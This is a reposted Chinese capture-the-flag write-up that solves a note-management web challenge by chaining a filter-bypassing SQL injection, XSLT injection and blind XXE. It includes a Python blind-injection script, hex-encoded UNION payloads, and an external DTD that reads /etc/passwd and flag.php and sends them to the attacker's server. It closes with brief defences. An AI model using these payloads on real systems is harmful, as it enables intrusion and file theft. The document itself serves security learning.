从sql注入到xslt再到xxe的一道ctf题目
Posted 合天智汇
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了从sql注入到xslt再到xxe的一道ctf题目相关的知识,希望对你有一定的参考价值。
有内涵的干货文章第一时间送达!
投稿活动:
1
前记
最近比较闲,看到一道web题目,学到了一些知识,于是有了这篇文章
2
题目描述
打开题目发现是一个笔记管理系统
然后发现有注册和登录,随手注册了一个账号
登入后发现几个功能
分别是:
新建笔记
生成xml文件
将生成的xml文件导出为html文件
于是开始随意尝试
第一个想法:
是不是flag在管理员的笔记里呢?我只要登入管理员账号即可?
于是开始尝试在登录和注册处进行sql注入
发现未果,后台对注入处理比较完善
会过滤了union,select,空格等多种必要符号
随即暂且放弃了这个想法。
第二个想法:
新建笔记可否写xml,进行xxe攻击呢,或者xss?
尝试了一下
<script>
容易发现转义
accordion-content"><script></div></dd></dl></section>
尝试绕过也未果,这个想法也破灭。
于是开始分析题目流程
注册账号
登录账号
新建笔记
生成xml文件
导出为html
我们思考一下后面3个步骤的实现:
新建笔记:将我们的输入经过处理存入数据库
生成xml文件:根据我们的用户名查询我们数据库里的content,并根据content生成xml文件
导出为html:将xml文件转换为html的形式显示出来
那么问题来了,如何将xml文件转换为html的形式?
这里就涉及到了新的知识点:XSLT
3
知识前引
1
xxe的定义
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
详细的名词解释可以参照freebuf这篇文章:http://www.freebuf.com/articles/web/126788.html
2
xxe简单例子
发出请求
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
服务器返回etc/passwd的文件内容:
<username>root:1:3.......</username>
最终造成任意文件读取的问题
3
xslt的定义
XSL(可扩展样式表语言)是一种用于转换XML文档的语言。XSLT代表XSL转换。XSL转换本身就是XML文档。
转换的结果可以是不同的XML文档或其他内容,如HTML文档,CSV文件或纯文本文件。
4
xslt的使用
国外的一篇文章里有这样的样例:
xml文件如下
<?xml version="1.0" ?>
<fruits>
<fruit>
<name>Lemon</name>
<description>Yellow and sour</description>
</fruit>
<fruit>
<name>Watermelon</name>
<description>Round, green outside, red inside</description>
</fruit>
</fruits>
如果要将这个xml文件转换为纯文本格式,可以使用如下xsl转换
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
转换后结果
Fruits:
- Lemon: Yellow and sour
- Waterm
5
xslt的相关攻击
由于xslt的文档格式为xml,所以存在xml相关的攻击
比如常见的xml引入外部实体,可以读取文件的问题
这里就不详细介绍了,因为一会儿还要实战
4
思考攻击点
学习过xslt相关知识后,很容易看出这个题目的考点
但是新的问题来了
xslt的攻击是在xml文件转换为其他文档格式的时候触发的,那我们的xml文件从哪里来呢?
现在无非两个思路
1.新建笔记的时候插入xml文件
2.直接sql注入插入content,内容为xml文件
第一个思路显然没有办法,因为在新建笔记插入文件的时候会经过转义处理,再次转换的时候无法引入我们想要的攻击构造
而第二个思路却没有注入点,应该如何是好?
在苦思冥想之际,我发现了两个神奇的点:
如图,首先是xml文件名,我惊奇的发现竟然就是自己用户名的md5,
于是我尝试了一下admin的xml文件,即:
./xml/21232f297a57a5a743894a0e4a801fc3.xml
发现hint
<notes>
<item>
<id>1</id>
<title size="1">学习记录</title>
<content>It's so easy to use xslt to parse xml.</content>
<id>2</id>
<title size="2">flag</title>
<content>flag在./flag.php文件</content>
</item>
</notes>
可以更加肯定的证明,我们的猜想是正确的,的确是xslt攻击引入xml去读取./flag文件
然后我又发现了模板一和模板二的问题
这看似多此一举的选项操作,其实是预留下了sql注入的隐患。我们抓包看看模板的选择是怎样传递给后端的:
发现template是以post方式提交的,于是我在此尝试了一下注入,这里我选择hackbar,方便回显
当template为1时,发现正常回显
当template为1'时,发现无回显
于是我确定此处存在注入问题
随即fuzz了一下,发现会过滤空格和许多关键词
但是正是因为template被过滤空格
容易发生这样的问题
比如
union会被过滤
但是我输入
un和ion不会过滤
那么我们输入un ion
(注:中间带一个空格)
即可成功构造出union
最好因为空格被过滤的原因,un和ion成功合并在一起
于是我们可以利用这个方法突破关键词过滤。
而后又经过fuzz,发现/**/可以绕过空格过滤
于是我开始随手尝试
template=1/**/o rder/**/b y/**/1
(注:关键词中带有空格)
成功回显
template=1/**/o rder/**/b y/**/2
(注:关键词中带有空格)
无回显
(注:本来无论or还是order都是会被替换为空的,但这里就用到了之前提到的关键词+空格bypass的技巧or和order都会被过滤,但是o和rder就完全不会触发过滤了,所以此时只需要在o和rder中间加入一个空格,由于空格被过滤,我们自然可以得到order:)
说明只有一列数据)
但是当我尝试
template=0/**/uni on/**/sel ect/**/1/**/li mit/**/1
(注:关键词中带有空格)
发现依旧无回显
而
template=0/**/uni on/**/sel ect/**/0/**/li mit/**/1
(注:关键词中带有空格)
回显为模板不存在
这是为什么呢?
经过我的猜测,查询语句可能如下:
select content from users where template=1
我们union select可以填充content,但是必须符合xml语法,否则无法转换,所以无回显
所以整体攻击思路相当明显了
1.利用union select填充我们构造的恶意content
2.xslt对我们填充的恶意content进行转换
3.触发攻击,引入外部实体
4.读取flag
5
攻击构造
1
攻击步骤1
利用union select填充我们构造的恶意content
想要构造恶意xsl,我们首先得了解该题目规定的xsl,以防止语法错误。为此我写了脚本,查看admin的content,用来获得xsl的格式:
# -*- coding: utf-8 -*-
import requests
import string
import urllib
cookie = {
"PHPSESSID":"e51d34c56f1d02e0eace44a7988ae1ec"
}
url = "题目ip/report.php"
flag = "3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e"
true_flag = """<?xml version="1.0" encoding="utf-8"?>"""
for i in range(1,1000):
payload = flag
for j in range(1,127):
if chr(j) in '''_%''':
continue
if len(hex(ord(chr(j)))[2:]) == 1:
lll = '0'+hex(ord(chr(j)))[2:]
else:
lll = hex(ord(chr(j)))[2:]
# print lll
data = {
"template":urllib.unquote("0/**/o r/**/content/**/li ke/**/bin ary/**/0x%s25/**/li mit/**/1/**/off set/**/0"%(payload+lll))
}
r =requests.post(url=url,data=data,cookies=cookie)
if '模板不存在' not in r.content:
flag += lll
true_flag += chr(int('0x'+lll,16))
print true_flag
print flag
break
运行后即可成功得到admin的content内容:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/notes">
<xsl:for-each select="item">
<section data-am-widget="accordion" class="am-accordion am-accordion-gapped">
<dl class="am-accordion-item am-active">
<dt>
<xsl:value-of select="id"/>. <xsl:value-of select="title"/>
</dt>
<dd class="am-accordion-bd am-collapse am-in">
<div>
<xsl:value-of select="content"/>
</div>
</dd>
</dl>
</section>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
得到了正确的xsl格式,我开始构造我的xsl payload,
为了验证之前xxe和xslt转换带来问题的思路,我构造如下代码,尝试它是否会来请求我的vps
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://我的vps:23333">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/notes">
Notes &ext_file;:
<xsl:for-each select="item">
<section data-am-widget="accordion" class="am-accordion am-accordion-gapped">
<dl class="am-accordion-item am-active">
<dt>
<xsl:value-of select="id"/>. <xsl:value-of select="title"/>
</dt>
<dd class="am-accordion-bd am-collapse am-in">
<div>
<xsl:value-of select="content"/>
</div>
</dd>
</dl>
</section>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
其中解释一下关键点:
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://我的vps:23333">]>
关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容。所以一旦这个题可以成功引入外部实体,那么他一定会来请求我们指定的ip和端口。
将上述代码转换为16进制,利用Union select填充发送并且在自己的23333端口监听,得到:
root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333
Listening on [0.0.0.0] (family 0, port 23333)
Connection from [题目ip] port 23333 [tcp/*] accepted (family 2, sport 56744)
GET / HTTP/1.0
Host: 我的ip:23333
Connection: close
发现请求成功!
2
xslt转换触发xxe攻击
我开始构造我的xxe攻击文件:
在你的vps上放上文件xxe.xml,内容如下:
<!ENTITY % f SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % all "<!ENTITY &s SYSTEM
'http://你的vps/?f=%f;'>">
再在关键处插入
<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://你的vps/xxe.xml">
%r;
%all;
%s;
]>
于是我根据这xsl文件格式插入标准的xxe攻击格式:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
<!ENTITY % r SYSTEM "http://你的vps/xxe.xml">
%r;
%all;
%s;
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/notes">
Notes &ext_file;:
<xsl:for-each select="item">
<section data-am-widget="accordion" class="am-accordion am-accordion-gapped">
<dl class="am-accordion-item am-active">
<dt>
<xsl:value-of select="id"/>. <xsl:value-of select="title"/>
</dt>
<dd class="am-accordion-bd am-collapse am-in">
<div>
<xsl:value-of select="content"/>
</div>
</dd>
</dl>
</section>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
并转换为16进制,然后进行union填充
template=0/**/uni on(注:关键词中有空格)/**/sel ect(注:关键词中有空格)/**/
0x3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e0a3c21444f435459504520414e595b0a20203c21454e54495459202520722053595354454d2022687474703a2f2f3132372e302e302e312f7878652e786d6c223e0a202025723b0a202025616c6c3b0a202025733b0a5d3e0a3c78736c3a7374796c6573686565742076657273696f6e3d22312e302220786d6c6e733a78736c3d22687474703a2f2f7777772e77332e6f72672f313939392f58534c2f5472616e73666f726d223e0a20203c78736c3a74656d706c617465206d617463683d222f6e6f746573223e0a2020204e6f74657320266578745f66696c653b3a0a202020203c78736c3a666f722d656163682073656c6563743d226974656d223e0a2020202020203c73656374696f6e20646174612d616d2d7769646765743d226163636f7264696f6e2220636c6173733d22616d2d6163636f7264696f6e20616d2d6163636f7264696f6e2d676170706564223e0a2020202020203c646c20636c6173733d22616d2d6163636f7264696f6e2d6974656d20616d2d616374697665223e0a20202020202020203c647420636c6173733d22616d2d6163636f7264696f6e2d7469746c65223e0a20202020202020202020203c78736c3a76616c75652d6f662073656c6563743d226964222f3e2e203c78736c3a76616c75652d6f662073656c6563743d227469746c65222f3e0a20202020202020203c2f64743e0a20202020202020203c646420636c6173733d22616d2d6163636f7264696f6e2d626420616d2d636f6c6c6170736520616d2d696e223e0a202020202020202020203c64697620636c6173733d22616d2d6163636f7264696f6e2d636f6e74656e74223e0a202020202020202020202020202020203c78736c3a76616c75652d6f662073656c6563743d22636f6e74656e74222f3e0a202020202020202020203c2f6469763e0a20202020202020203c2f64643e0a2020202020203c2f646c3e0a20203c2f73656374696f6e3e0a0a202020203c2f78736c3a666f722d656163683e0a20203c2f78736c3a74656d706c6174653e0a3c2f78736c3a7374796c6573686565743e/**/li mit/**/1
然后在vps上收到结果
成功读取了/etc/passwd的内容
3
读取flag文件内容
此时只需要将你vps上的xxe.xml文件改为
<!ENTITY % f SYSTEM
"php://filter/read=convert.base64-encode/resource=./flag.php">
<!ENTITY % all "<!ENTITY &s SYSTEM
'http://你的vps/?f=%f;'>">
于是最终成功获得./flag的内容
<?php
$flag = "green{7b12df7fb44cf84d989b21d6b6aaae8c}";
6
防御方案
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2. 使用第三方应用代码及时升级补丁
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
参考:https://www.waitalone.cn/xxe-attack.html
7
背景
题目实际考点为3个:
1.bypass waf进行union填充注入
2.xslt的攻击点学习
3.blind xxe的基础攻击方法
总体来说还是很有趣的,orz出题师傅~
郑重申明:
文章仅供知识参考与学习,利用从事任何违法行为与本人和合天智汇无关!
投
稿
评
优
2018年第一季度原创投稿评优结果将在4月份公布啦!
届时将评选出三个奖项,共计15名原创作者!
积极参与奖
最具文采奖
最佳作者奖
丰厚大礼等着大家哟,快来积极参与投稿吧!
(点击了解投稿详情)
合天智汇
网址 : www.heetian.com
长按图片,据说只有颜值高的人才能识别哦→
以上是关于从sql注入到xslt再到xxe的一道ctf题目的主要内容,如果未能解决你的问题,请参考以下文章